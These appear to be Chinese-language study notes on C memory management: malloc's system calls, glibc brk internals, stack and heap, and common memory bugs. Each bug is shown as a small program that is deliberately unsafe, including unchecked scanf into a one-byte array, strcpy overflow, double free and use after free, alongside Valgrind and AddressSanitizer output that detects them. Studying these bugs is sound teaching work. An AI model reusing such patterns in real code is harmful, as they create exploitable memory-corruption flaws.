Linux	ptmalloc2
FreeBSD	jemalloc

System Call for Malloc ¶

Testing ¶

testing program :

// test_malloc.c

#include <stdio.h>
#include <stdlib.h>

int main() {
    puts("===========");
    free(malloc(sizeof(int)));
    puts("===========");
    return 0;
}

Linux ¶

compile, execute, trace system call :

$ gcc test_malloc.c -o test_malloc
$ strace ./test_malloc  # Linux

在 trace system call 時，這邊觀察到兩個 system call， brk(0) 和 brk(0x14e5000) (數值可能會不一樣)，所以我們可以確定的是，在 Linux 上目前去 call malloc 時，會用到 brk 這個 system call

FreeBSD ¶

compile, execute, trace system call :

$ clang test_malloc.c -o test_malloc
$ truss ./test_malloc   # FreeBSD

在 trace system call 時，這邊只觀察到一個 system call，可以發現使用的 system call 是 madvise ，和 Linux 上不同 (Linux 上是 brk)。

madvise(0x2c07000,0x1000,0x5,0xaaaaaaaaaaaaaaab,0x2c00048,0x24c4be0) ，這是用於 free 的

Explain ¶

所以到底這些 system call (brk, madvise) 都做了些什麼勒？為什麼 call 完後 heap 就會多出空間可以使用？

我們先來看看 Linux 上的 Memory 都放了些什麼東西 :

sbrk ¶

sbrk 是 glibc 的 brk wrapper

glibc ¶

glibc/misc/sbrk.c :

/* Extend the process's data space by INCREMENT.
   If INCREMENT is negative, shrink data space by - INCREMENT.
   Return start of new space allocated, or -1 for errors.  */
void *
__sbrk (intptr_t increment)
{
  void *oldbrk;

  /* If this is not part of the dynamic library or the library is used
     via dynamic loading in a statically linked program update
     __curbrk from the kernel's brk value.  That way two separate
     instances of __brk and __sbrk can share the heap, returning
     interleaved pieces of it.  */
  if (__curbrk == NULL || __libc_multiple_libcs)
    if (__brk (0) < 0)              /* Initialize the break.  */
      return (void *) -1;

  if (increment == 0)
    return __curbrk;

  oldbrk = __curbrk;
  if ((increment > 0
       ? ((uintptr_t) oldbrk + (uintptr_t) increment < (uintptr_t) oldbrk)
       : ((uintptr_t) oldbrk < (uintptr_t) -increment))
      || __brk (oldbrk + increment) < 0)
    return (void *) -1;

  return oldbrk;
}

glibc/sysdeps/unix/sysv/linux/generic/brk.c

int
__brk (void *addr)
{
  INTERNAL_SYSCALL_DECL (err);

  __curbrk = (void *) INTERNAL_SYSCALL (brk, err, 1, addr);
  if (__curbrk < addr)
    {
      __set_errno (ENOMEM);
      return -1;
    }

  return 0;
}

glibc/sysdeps/unix/sysv/linux/x86_64/sysdep.h

# define INTERNAL_SYSCALL_NCS(name, err, nr, args...) \
({                                                                        \
  unsigned long int resultvar;                                            \
  LOAD_ARGS_##nr (args)                                                   \
  LOAD_REGS_##nr                                                          \
  asm volatile (                                                          \
  "syscall\n\t"                                                           \
  : "=a" (resultvar)                                                              \
  : "0" (name) ASM_ARGS_##nr : "memory", "cc", "r11", "cx");                      \
  (long int) resultvar; })

# define INTERNAL_SYSCALL(name, err, nr, args...) \
  INTERNAL_SYSCALL_NCS (__NR_##name, err, nr, ##args)

C - Inline Assembly ¶

關鍵字 : asm

asm("movl %ecx %eax");      /* moves the contents of ecx to eax */
__asm__("movb %bh (%eax)"); /*moves the byte from bh to the memory pointed by eax */

asm 和 __asm__ 都可以用，當 asm 在程式中會 conflict 時就可以使用 __asm__ ，如果 assembly code 有很多行的話，每行結尾加上 “nt”，如此一來在把 assembly code 字串丟給後面的 as (ex: GAS (GNU Assembler)) 處理時，格式才會是正確的。

asm ("movl %eax, %ebx\n\t"
     "movl $56, %esi\n\t"
     "movl %ecx, $label(%edx,%ebx,$4)\n\t"
     "movb %ah, (%ebx)");

Extended Asm :

asm ( assembler template
   : output operands                  /* optional */
   : input operands                   /* optional */
   : list of clobbered registers      /* optional */
   );

asm volatile (“syscallnt” : “=a” (result) : “0” (SYS_BRK) : “memory”, “cc”, “r11”, “cx”);

GCC 用 AT&T/UNIX assembly syntax

Source-Destination Ordering

“Op-code src dst”

Register Naming

prefix by %, %eax

Immediate Operand

Operand Size

Memory Operands

Intel Code	AT&T Code
mov eax,1 mov ebx,0ffh int 80h mov ebx, eax mov eax,[ecx] mov eax,[ebx+3] mov eax,[ebx+20h] add eax,[ebx+ecx2h] lea eax,[ebx+ecx] sub eax,[ebx+ecx4h-20h]	movl $1,%eax movl $0xff,%ebx int $0x80 movl %eax, %ebx movl (%ecx),%eax movl 3(%ebx),%eax movl 0x20(%ebx),%eax addl (%ebx,%ecx,0x2),%eax leal (%ebx,%ecx),%eax subl -0x20(%ebx,%ecx,0x4),%eax

Misc ¶

brk 是什麼的縮寫？
Linux Syscall Table

Reference ¶

Memory Hardware¶

Memory Management ¶

Table of Contents

在現今流通的電腦架構中，要執行一個程式就會需要用到記憶體，而我們在撰寫程式時，依照不同的語言，會給程式設計師不同的記憶體操作程度。例如 C 會給你操控 pointer 來對記憶體做各式各樣的處理，但是像是 Python 這種相對高階的語言則會把記憶體相關的處理打包起來，讓程式設計師可以專注在計算的撰寫上而不是底層記憶體的掌控。這當然有好有壞，端看需求來做 tradeoff，一邊是可以對資源做細部的控制，來用少量的資源達到要做的事，一邊則是更注重在快速的把可以用的程式寫出來。

在實際開始之前，我們需要先知道一些概念。在現代常見的電腦中，每隻程式所能看到的記憶體是受限的，大家會被區隔開來，每隻程式都會以為只有自己在執行，看不到其他人，這麼做可以保護程式，讓程式間不互相干擾。想像一下，假如在沒有區隔開的情況下，我寫了一個 C 程式，不小心沒寫好，裡面的 pointer 可能指向別的程式的資料，然後還不小心改到，這是多麼可怕的事。這樣的區隔機制稱為 “Virtual Memory”，其中的 Virtual 指的意思是分給程式的記憶體空間不是真的實體記憶體，而是做了一層控管，在存取時中間會把 Virtual Address 轉換成實際的 Physical Address，而各程式看到的都是同樣的一大塊空間，但其實底下對應到的是不同實體記憶體。 (要做到這樣的機制需要 MMU (memory management unit) 的硬體支援)

在 Virtual Memory 之上，每隻程式看到的記憶體又會依照不同的使用而分區塊，其中在程式執行時，變數常存在的地方為 Stack 和 Heap，接下來就來看看裡面在幹嘛。

Stack & Heap ¶

在講記憶體管理的一開始，我們先來看看資料在記憶體中是如何被放置的。

Linux process :

其中 Stack 是 local variables 和 function parameters 的地方，每呼叫一次 function 就會 push 一個 stack frame 進去，每次 function 回傳時就會被清掉。

[Error] 這邊可以注意到，如果我們不斷地 push 到 stack 裡，最後超過可容許的大小，就會產生 stack overflow

因為放在 stack 上的資料會在回傳時被清掉，當遇到回傳後仍需使用的情況，就要把資料放在 Heap。

在 C 中要使用 Heap 就需要用 malloc 並設定需要的大小，用完後需要使用 free 來清除。這些步驟在一般使用 Stack 的情況中都不需要，但是 Heap 的特別處就在於不會受限於特定的 scope 裡，就算 function 回傳還是可以正常使用，也常用動態決定資料大小的情況。

example :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc, free, atoi

int main (int argc, char *argv[]) {

    int *dynamic_array;

    if (argc < 2) {

        printf("Please give a number\n");

    } else {

        int size = atoi(argv[1]);

        dynamic_array = (int*) malloc (sizeof(int) * size);

        for (int i = 0; i < size; i++) {
            printf("%d\n", dynamic_array[i]);
        }

        free(dynamic_array);

    }

    return 0;
}

more example (新 malloc 的記憶體真的是新的嗎？) :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc, free, atoi

int main (int argc, char *argv[]) {

    int *dynamic_array;

    if (argc > 1) {

        int size = atoi(argv[1]);

        dynamic_array = (int*) malloc (sizeof(int) * size);

        printf("first time\n");

        for (int i = 0; i < size; i++) {
            printf("%d\n", dynamic_array[i]);
        }

        for (int i = 0; i < size; i++) {
            // modify
            dynamic_array[i] = i * i;
        }

        free(dynamic_array);

        // get some new memory
        dynamic_array = (int*) malloc (sizeof(int) * size);

        printf("second time\n");

        for (int i = 0; i < size; i++) {
            printf("%d\n", dynamic_array[i]);
        }

        free(dynamic_array);

    } else {

        printf("Please give a number\n");

    }

    return 0;
}

Common Memory Problem ¶

管理

double free (清多次)
memory leak (沒清到)

使用

use after free (清了還用)
dangling pointer (清了還用)
heap overflow (寫超過)
stack buffer overflow (寫超過)
buffer over-read (讀超過)
stack overflow (用太多)

double free ¶

source code :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc, free

int main() {
    int *x = malloc(sizeof(int));
    printf("origin : %d\n", *x);
    *x = 10;
    printf("assign : %d\n", *x);
    free(x);
    free(x);
    return 0;
}

compile :

$ gcc -Wall -std=c11 -g double-free.c -o double-free

執行

origin : 0
assign : 10
*** Error in `./double-free': double free or corruption (fasttop): 0x00000000013e3010 ***
======= Backtrace: =========
/usr/lib/libc.so.6(+0x71bad)[0x7ffb1c21cbad]
/usr/lib/libc.so.6(+0x770fe)[0x7ffb1c2220fe]
/usr/lib/libc.so.6(+0x778db)[0x7ffb1c2228db]
./double-free[0x4005fc]
/usr/lib/libc.so.6(__libc_start_main+0xf0)[0x7ffb1c1cb790]
./double-free[0x4004c9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:1e 1685697                            /tmp/memory/double-free
00600000-00601000 rw-p 00000000 00:1e 1685697                            /tmp/memory/double-free
013e3000-01404000 rw-p 00000000 00:00 0                                  [heap]
7ffb1bf95000-7ffb1bfab000 r-xp 00000000 08:01 137661                     /usr/lib/libgcc_s.so.1
7ffb1bfab000-7ffb1c1aa000 ---p 00016000 08:01 137661                     /usr/lib/libgcc_s.so.1
7ffb1c1aa000-7ffb1c1ab000 rw-p 00015000 08:01 137661                     /usr/lib/libgcc_s.so.1
7ffb1c1ab000-7ffb1c344000 r-xp 00000000 08:01 134345                     /usr/lib/libc-2.21.so
7ffb1c344000-7ffb1c543000 ---p 00199000 08:01 134345                     /usr/lib/libc-2.21.so
7ffb1c543000-7ffb1c547000 r--p 00198000 08:01 134345                     /usr/lib/libc-2.21.so
7ffb1c547000-7ffb1c549000 rw-p 0019c000 08:01 134345                     /usr/lib/libc-2.21.so
7ffb1c549000-7ffb1c54d000 rw-p 00000000 00:00 0
7ffb1c54d000-7ffb1c56f000 r-xp 00000000 08:01 134444                     /usr/lib/ld-2.21.so
7ffb1c72a000-7ffb1c72d000 rw-p 00000000 00:00 0
7ffb1c76c000-7ffb1c76e000 rw-p 00000000 00:00 0
7ffb1c76e000-7ffb1c76f000 r--p 00021000 08:01 134444                     /usr/lib/ld-2.21.so
7ffb1c76f000-7ffb1c770000 rw-p 00022000 08:01 134444                     /usr/lib/ld-2.21.so
7ffb1c770000-7ffb1c771000 rw-p 00000000 00:00 0
7ffe79fa4000-7ffe79fc5000 rw-p 00000000 00:00 0                          [stack]
7ffe79fdf000-7ffe79fe1000 r--p 00000000 00:00 0                          [vvar]
7ffe79fe1000-7ffe79fe3000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

memory leak ¶

source code :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc
#include <unistd.h>     // getpid

int main() {
    long long *x;

    printf("pid : %d\n", getpid());
    printf("per size %lu\n", sizeof(long long));

    while (1) {
        // malloc, no free
        x = malloc(sizeof(long long) * 1000);
        getchar();
    }

    return 0;
}

compile :

$ gcc -Wall -std=c11 -g memory-leak.c -o memory-leak

觀看 Memory 使用：

$ pmap -x $pid
30593:   ./a.out
Address           Kbytes     RSS   Dirty Mode  Mapping
0000000000400000       4       4       0 r-x-- a.out
0000000000600000       4       4       4 rw--- a.out
0000000002572000     136       8       8 rw---   [ anon ]
00007fe14389b000    1636    1044       0 r-x-- libc-2.21.so
00007fe143a34000    2044       0       0 ----- libc-2.21.so
00007fe143c33000      16      16      16 r---- libc-2.21.so
00007fe143c37000       8       8       8 rw--- libc-2.21.so
00007fe143c39000      16       8       8 rw---   [ anon ]
00007fe143c3d000     136     136       0 r-x-- ld-2.21.so
00007fe143e1b000      12      12      12 rw---   [ anon ]
00007fe143e5c000       8       4       4 rw---   [ anon ]
00007fe143e5e000       4       4       4 r---- ld-2.21.so
00007fe143e5f000       4       4       4 rw--- ld-2.21.so
00007fe143e60000       4       4       4 rw---   [ anon ]
00007fff33951000     132       8       8 rw---   [ stack ]
00007fff3397a000       8       0       0 r----   [ anon ]
00007fff3397c000       8       4       0 r-x--   [ anon ]
ffffffffff600000       4       0       0 r-x--   [ anon ]
---------------- ------- ------- -------
total kB            4184    1268      80

$ cat /proc/$pid/smaps | grep -A 15 heap
02572000-02594000 rw-p 00000000 00:00 0                                  [heap]
Size:                136 kB
Rss:                   8 kB
Pss:                   8 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         8 kB
Referenced:            8 kB
Anonymous:             8 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Locked:                0 kB
VmFlags: rd wr mr mw me ac

use after free ¶

source code :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc

int main() {
    int *x;

    x = malloc(sizeof(int));
    *x = 9;

    printf("use before free : %d\n", *x);

    free(x);

    printf("use after free : %d\n", *x);

    int *y = malloc(sizeof(int));
    *y = 10;

    printf("use after free : %d\n", *x);

    return 0;
}

compile :

$ gcc -Wall -std=c11 -g use-after-free.c -o use-after-free

$ ./use-after-free
use before free : 9
use after free : 0
use after free : 10

heap overflow ¶

source code :

// C

#include <stdio.h>
#include <stdlib.h>     // malloc, free
#include <string.h>     // strlen

int main() {

    const char s1[] = "This is a test.";
    const char s2[] = "This is a test. This is a test.";

    char *x = malloc(sizeof(char) * strlen(s1));

    strcpy(x, s2);

    free(x);

    return 0;
}

compile :

$ gcc -Wall -std=c11 -g heap-overflow.c -o heap-overflow

執行：

$ ./heap-overflow
*** Error in `./heap-overflow': free(): invalid next size (fast): 0x000000000250e010 ***
======= Backtrace: =========
/usr/lib/libc.so.6(+0x71bad)[0x7f38d091cbad]
/usr/lib/libc.so.6(+0x770fe)[0x7f38d09220fe]
/usr/lib/libc.so.6(+0x778db)[0x7f38d09228db]
./heap-overflow[0x400669]
/usr/lib/libc.so.6(__libc_start_main+0xf0)[0x7f38d08cb790]
./heap-overflow[0x400509]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:1e 1894065                            /tmp/memory/heap-overflow
00600000-00601000 rw-p 00000000 00:1e 1894065                            /tmp/memory/heap-overflow
0250e000-0252f000 rw-p 00000000 00:00 0                                  [heap]
7f38d0695000-7f38d06ab000 r-xp 00000000 08:01 137661                     /usr/lib/libgcc_s.so.1
7f38d06ab000-7f38d08aa000 ---p 00016000 08:01 137661                     /usr/lib/libgcc_s.so.1
7f38d08aa000-7f38d08ab000 rw-p 00015000 08:01 137661                     /usr/lib/libgcc_s.so.1
7f38d08ab000-7f38d0a44000 r-xp 00000000 08:01 134345                     /usr/lib/libc-2.21.so
7f38d0a44000-7f38d0c43000 ---p 00199000 08:01 134345                     /usr/lib/libc-2.21.so
7f38d0c43000-7f38d0c47000 r--p 00198000 08:01 134345                     /usr/lib/libc-2.21.so
7f38d0c47000-7f38d0c49000 rw-p 0019c000 08:01 134345                     /usr/lib/libc-2.21.so
7f38d0c49000-7f38d0c4d000 rw-p 00000000 00:00 0
7f38d0c4d000-7f38d0c6f000 r-xp 00000000 08:01 134444                     /usr/lib/ld-2.21.so
7f38d0e2a000-7f38d0e2d000 rw-p 00000000 00:00 0
7f38d0e6d000-7f38d0e6e000 rw-p 00000000 00:00 0
7f38d0e6e000-7f38d0e6f000 r--p 00021000 08:01 134444                     /usr/lib/ld-2.21.so
7f38d0e6f000-7f38d0e70000 rw-p 00022000 08:01 134444                     /usr/lib/ld-2.21.so
7f38d0e70000-7f38d0e71000 rw-p 00000000 00:00 0
7fffdc083000-7fffdc0a4000 rw-p 00000000 00:00 0                          [stack]
7fffdc13b000-7fffdc13d000 r--p 00000000 00:00 0                          [vvar]
7fffdc13d000-7fffdc13f000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

stack buffer overflow ¶

source code:

// C

#include <stdio.h>

int main() {
    int x = 0;
    char c[1];
    printf("x : %d\n", x);
    scanf("%s", c);
    printf("x : %d\n", x);
    return 0;
}

compile :

$ gcc -Wall -std=c11 -g stack-buffer-overflow.c -o stack-buffer-overflow

執行：

$ ./stack-buffer-overflow
x : 0
test
x : 7631717

buffer over-read ¶

source code :

// C

#include <stdio.h>

int main() {

    int x = 'z';

    char c[1];
    c[0] = 'a';

    printf("c[0] : %c\n", c[0]);
    printf("c[1] : %c\n", c[1]);    // read x

    return 0;
}

compile :

$ gcc -Wall -std=c11 -g buffer-over-read.c -o buffer-over-read

執行：

$ ./buffer-over-read
c[0] : a
c[1] : z

stack overflow ¶

// C

#include <stdio.h>

void stack_overflow() {
    static int count = 0;

    count++;

    printf("count : %d\n", count);

    stack_overflow();
}

int main() {
    stack_overflow();
    return 0;
}

$ gcc -Wall -O0 -std=c11 -g stack-overflow.c -o stack-overflow     # avoid optimization

Debugger ¶

Valgrind

Valgrind ¶

double free ¶

執行：

$ valgrind ./double-free

Valgrind output

==22811== Memcheck, a memory error detector
==22811== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==22811== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==22811== Command: ./double-free
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D3DC: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Use of uninitialised value of size 8
==22811==    at 0x4E7A33B: _itoa_word (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E7D6BD: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7A345: _itoa_word (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E7D6BD: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D730: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D4AB: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D837: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D4FB: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Conditional jump or move depends on uninitialised value(s)
==22811==    at 0x4E7D53B: vfprintf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4E84E38: printf (in /usr/lib/libc-2.21.so)
==22811==    by 0x4005C2: main (double-free.c:8)
==22811==
==22811== Invalid free() / delete / delete[] / realloc()
==22811==    at 0x4C2B200: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==22811==    by 0x4005FB: main (double-free.c:12)
==22811==  Address 0x51d8040 is 0 bytes inside a block of size 4 free'd
==22811==    at 0x4C2B200: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==22811==    by 0x4005EF: main (double-free.c:11)
==22811==
==22811==
==22811== HEAP SUMMARY:
==22811==     in use at exit: 0 bytes in 0 blocks
==22811==   total heap usage: 1 allocs, 2 frees, 4 bytes allocated
==22811==
==22811== All heap blocks were freed -- no leaks are possible
==22811==
==22811== For counts of detected and suppressed errors, rerun with: -v
==22811== Use --track-origins=yes to see where uninitialised values come from
==22811== ERROR SUMMARY: 9 errors from 9 contexts (suppressed: 0 from 0)

memory leak ¶

執行：

$ valgrind --leak-check=full --show-leak-kinds=all ./memory-leak

Valgrind output

==27173== Memcheck, a memory error detector
==27173== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==27173== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==27173== Command: ./memory-leak
==27173==
==27173==
==27173== HEAP SUMMARY:
==27173==     in use at exit: 32,000 bytes in 4 blocks
==27173==   total heap usage: 4 allocs, 0 frees, 32,000 bytes allocated
==27173==
==27173== 8,000 bytes in 1 blocks are still reachable in loss record 1 of 2
==27173==    at 0x4C29F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==27173==    by 0x400621: main (memory-leak.c:15)
==27173==
==27173== 24,000 bytes in 3 blocks are definitely lost in loss record 2 of 2
==27173==    at 0x4C29F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==27173==    by 0x400621: main (memory-leak.c:15)
==27173==
==27173== LEAK SUMMARY:
==27173==    definitely lost: 24,000 bytes in 3 blocks
==27173==    indirectly lost: 0 bytes in 0 blocks
==27173==      possibly lost: 0 bytes in 0 blocks
==27173==    still reachable: 8,000 bytes in 1 blocks
==27173==         suppressed: 0 bytes in 0 blocks
==27173==
==27173== For counts of detected and suppressed errors, rerun with: -v
==27173== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

use after free ¶

執行：

$ valgrind ./use-after-free

Valgrind output

==32017== Memcheck, a memory error detector
==32017== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==32017== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==32017== Command: ./use-after-free
==32017==
==32017== Invalid read of size 4
==32017==    at 0x4005DD: main (use-after-free.c:16)
==32017==  Address 0x51d8040 is 0 bytes inside a block of size 4 free'd
==32017==    at 0x4C2B200: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==32017==    by 0x4005D8: main (use-after-free.c:14)
==32017==
==32017== Invalid read of size 4
==32017==    at 0x40060C: main (use-after-free.c:21)
==32017==  Address 0x51d8040 is 0 bytes inside a block of size 4 free'd
==32017==    at 0x4C2B200: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==32017==    by 0x4005D8: main (use-after-free.c:14)
==32017==
==32017==
==32017== HEAP SUMMARY:
==32017==     in use at exit: 4 bytes in 1 blocks
==32017==   total heap usage: 2 allocs, 1 frees, 8 bytes allocated
==32017==
==32017== LEAK SUMMARY:
==32017==    definitely lost: 4 bytes in 1 blocks
==32017==    indirectly lost: 0 bytes in 0 blocks
==32017==      possibly lost: 0 bytes in 0 blocks
==32017==    still reachable: 0 bytes in 0 blocks
==32017==         suppressed: 0 bytes in 0 blocks
==32017== Rerun with --leak-check=full to see details of leaked memory
==32017==
==32017== For counts of detected and suppressed errors, rerun with: -v
==32017== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)

heap overflow ¶

執行：

$ valgrind ./stack-overflow

Valgrind output

==31005== Memcheck, a memory error detector
==31005== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==31005== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==31005== Command: ./heap-overflow
==31005==
==31005== Invalid write of size 1
==31005==    at 0x4C2D610: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==31005==    by 0x40065C: main (heap-overflow.c:12)
==31005==  Address 0x51d804f is 0 bytes after a block of size 15 alloc'd
==31005==    at 0x4C29F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==31005==    by 0x400645: main (heap-overflow.c:10)
==31005==
==31005== Invalid write of size 1
==31005==    at 0x4C2D623: strcpy (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==31005==    by 0x40065C: main (heap-overflow.c:12)
==31005==  Address 0x51d805f is 16 bytes after a block of size 15 alloc'd
==31005==    at 0x4C29F90: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==31005==    by 0x400645: main (heap-overflow.c:10)
==31005==
==31005==
==31005== HEAP SUMMARY:
==31005==     in use at exit: 0 bytes in 0 blocks
==31005==   total heap usage: 1 allocs, 1 frees, 15 bytes allocated
==31005==
==31005== All heap blocks were freed -- no leaks are possible
==31005==
==31005== For counts of detected and suppressed errors, rerun with: -v
==31005== ERROR SUMMARY: 17 errors from 2 contexts (suppressed: 0 from 0)

stack buffer overflow ¶

Valgrind 的 Memcheck 目前沒有針對 global / stack array 的 bounds checking，但是有另外一個實驗的工具叫 “SGcheck” 可以偵測這類問題

Why doesn’t Memcheck find the array overruns in this program?

執行：

$ valgrind --tool=exp-sgcheck ./stack-buffer-overflow

Valgrind output

==6617== exp-sgcheck, a stack and global array overrun detector
==6617== NOTE: This is an Experimental-Class Valgrind Tool
==6617== Copyright (C) 2003-2013, and GNU GPL'd, by OpenWorks Ltd et al.
==6617== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==6617== Command: ./stack-buffer-overflow
==6617==
==6617== Invalid write of size 1
==6617==    at 0x4E854A5: _IO_vfscanf (in /usr/lib/libc-2.21.so)
==6617==    by 0x4E9571E: __isoc99_scanf (in /usr/lib/libc-2.21.so)
==6617==    by 0x4005AE: main (stack-buffer-overflow.c:9)
==6617==  Address 0xfff0000cc expected vs actual:
==6617==  Expected: stack array "c" of size 1 in frame 2 back from here
==6617==  Actual:   unknown
==6617==  Actual:   is 0 after Expected
==6617==
==6617==
==6617== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

buffer over-read ¶

暫時沒看到 Valgrind 上的解法 ...

GCC 的話可以在 compile 時，加上 -fsanitize=address 參數來 check

compile :

$ gcc -Wall -std=c11 -fsanitize=address -g buffer-over-read.c -o buffer-over-read

執行 :

$ ./buffer-over-read

output (terminal 上有上色)

=================================================================
==10965==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffde2d80511 at pc 0x00000040095e bp 0x7ffde2d804d0 sp 0x7ffde2d804c0
READ of size 1 at 0x7ffde2d80511 thread T0
    #0 0x40095d in main /tmp/memory/buffer-over-read.c:13
    #1 0x7f43ee71a78f in __libc_start_main (/usr/lib/libc.so.6+0x2078f)
    #2 0x4007b8 in _start (/tmp/memory/buffer-over-read+0x4007b8)

Address 0x7ffde2d80511 is located in stack of thread T0 at offset 33 in frame
    #0 0x400895 in main /tmp/memory/buffer-over-read.c:5

  This frame has 1 object(s):
    [32, 33) 'c' <== Memory access at offset 33 overflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /tmp/memory/buffer-over-read.c:13 main
Shadow bytes around the buggy address:
  0x10003c5a8050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1
=>0x10003c5a80a0: f1 f1[01]f4 f4 f4 f3 f3 f3 f3 00 00 00 00 00 00
  0x10003c5a80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a80d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a80e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x10003c5a80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==10965==ABORTING

stack overflow ¶

執行：

$ valgrind ./stack-overflow

Valgrind output

==12380== Memcheck, a memory error detector
==12380== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==12380== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==12380== Command: ./stack-overflow
==12380==
==12380== Stack overflow in thread 1: can't grow stack to 0xffe801ff8
==12380==
==12380== Process terminating with default action of signal 11 (SIGSEGV)
==12380==  Access not within mapped region at address 0xFFE801FF8
==12380==    at 0x4EA8E8A: _IO_file_write@@GLIBC_2.2.5 (in /usr/lib/libc-2.21.so)
==12380==  If you believe this happened as a result of a stack
==12380==  overflow in your program's main thread (unlikely but
==12380==  possible), you can try to increase the size of the
==12380==  main thread stack using the --main-stacksize= flag.
==12380==  The main thread stack size used in this run was 8388608.
==12380== Stack overflow in thread 1: can't grow stack to 0xffe801ff0
==12380==
==12380== Process terminating with default action of signal 11 (SIGSEGV)
==12380==  Access not within mapped region at address 0xFFE801FF0
==12380==    at 0x4A246D0: _vgnU_freeres (in /usr/lib/valgrind/vgpreload_core-amd64-linux.so)
==12380==  If you believe this happened as a result of a stack
==12380==  overflow in your program's main thread (unlikely but
==12380==  possible), you can try to increase the size of the
